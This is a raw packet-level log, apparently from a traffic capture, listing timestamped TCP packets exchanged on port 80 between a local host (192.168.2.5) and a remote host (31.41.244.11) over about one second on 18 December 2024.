Dec 18, 2024 19:08:14.637100935 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.637145042 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.637181997 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.637228012 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.637989998 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.638037920 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.638612032 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.638653040 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.638968945 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.639014959 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.639054060 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.639094114 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.639897108 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.639939070 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.640008926 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.640049934 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.640834093 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.641001940 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.641045094 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.641792059 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.641834974 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.641921043 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.641967058 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.642683983 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.642721891 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.642950058 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.642987967 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.643697977 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.643740892 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.643812895 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.643856049 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.644623041 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.644900084 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.644942999 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.645548105 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.645591021 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.646123886 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.646166086 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.646572113 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.646583080 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.646738052 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.647402048 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.647443056 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.647898912 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.648014069 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.648350000 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.648391962 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.648483992 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.648524046 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.649341106 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.649382114 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.649490118 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.649529934 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.650286913 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.650330067 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.650741100 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.650782108 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.651232958 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.651277065 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.651328087 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.651374102 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.652234077 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.652477026 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.652519941 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.653114080 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.653156042 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.653203964 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.653250933 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.654016972 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.654057026 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.654593945 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.654630899 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.655030012 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.655042887 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.655071020 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.655889988 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.655936003 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.656003952 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.656044960 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.656847954 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.656965971 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.657008886 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.657805920 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.657847881 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.657912016 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.657952070 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.658719063 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.658761978 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.659003973 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.659043074 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.659638882 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.659683943 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.659737110 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.659775972 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.669801950 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.669931889 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.670109987 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.670239925 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.670291901 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.670620918 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.670666933 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.671190977 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.671237946 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.671350956 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.671395063 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.672127008 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.672168016 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.810425997 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.810480118 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.810636044 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.810676098 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.810718060 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.810755014 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.810802937 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.811606884 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.811650991 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.812045097 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.812086105 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.812645912 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.812760115 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.812807083 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.813453913 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.813503027 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.813564062 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.813607931 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.814500093 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.814555883 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.814713001 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.814788103 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.815376043 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.815426111 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.815468073 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.815510035 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.816384077 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.816523075 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.816574097 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.817291975 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.817337036 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.817385912 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.817425966 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.818238020 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.818280935 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.818500996 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.818542004 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.819216013 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.819259882 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.819345951 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.819386005 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.820095062 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.820139885 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.820321083 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.821079969 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.821132898 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.821156025 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.821197987 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.822009087 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.822052956 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.822082996 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.822127104 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.822946072 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.822995901 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.823093891 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.823133945 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.823846102 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.823889017 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.824120045 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.824161053 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.824791908 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.824877977 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.824924946 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.825711966 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.825761080 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.826046944 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.826096058 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.826630116 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.826677084 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.826859951 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.826903105 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.827625036 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.827666044 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.827730894 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.827770948 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.828557968 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.828627110 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.828679085 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.829504967 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.829554081 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.830451012 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.830463886 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.830501080 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.830517054 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.830616951 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.831389904 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.831438065 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.831542969 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.831582069 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.832300901 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.832595110 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.832755089 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.833241940 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.833282948 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.833410025 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.833447933 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.834194899 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.834481955 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.835159063 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.835171938 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.835201025 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.835217953 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.835283041 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.836086988 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.836137056 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.836163044 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.836208105 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.837023020 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.837069988 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.837115049 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.837151051 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.837949991 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.837990046 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.838351011 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.838393927 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.838974953 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.838987112 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.839020967 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.839911938 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.839960098 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.839966059 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.840010881 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.840802908 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.840881109 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.840931892 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.841743946 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.841789961 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.841830969 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.841872931 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.842663050 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.842710972 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.843079090 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.843121052 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.843622923 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.843663931 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.844561100 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.844574928 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.844605923 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.844629049 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.844680071 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.844719887 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.845546961 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.845588923 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.845644951 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.845686913 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.846541882 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.846846104 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.846899033 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.847493887 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.847507000 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.847546101 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.847573042 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.848368883 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.848706007 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.848762035 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.849260092 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.849312067 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.849481106 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.849524975 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.850233078 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.850477934 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.850521088 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.851161003 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.851202965 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.851278067 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.851322889 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.852072954 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.852118015 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.852427006 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.852482080 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.853005886 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.853116989 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.853163958 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.854024887 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.854082108 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.854686022 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.854738951 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.854947090 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.854959965 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.854991913 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.855010986 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.855851889 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.855998993 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.856056929 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.856734991 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.860255003 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.864232063 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.864358902 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.864437103 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.864670038 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.864722013 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.864784956 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.864828110 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.865693092 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.865745068 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.865772963 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.865813017 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.866626024 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.866674900 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.005636930 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.005760908 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.005760908 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.005810022 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.006129026 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.006180048 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.006263018 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.006310940 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.007046938 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.007092953 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.007622957 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.007667065 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.007985115 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.008025885 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.008240938 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.008284092 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.008929014 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.008972883 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.009301901 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.009346008 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.009881020 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.009922981 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.010010958 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.010051966 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.010824919 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.010869980 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.010890007 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.010931969 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.011759043 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.011805058 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.011884928 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.011929989 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.012692928 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.012734890 CET	49720	80	192.168.2.5	31.41.244.11
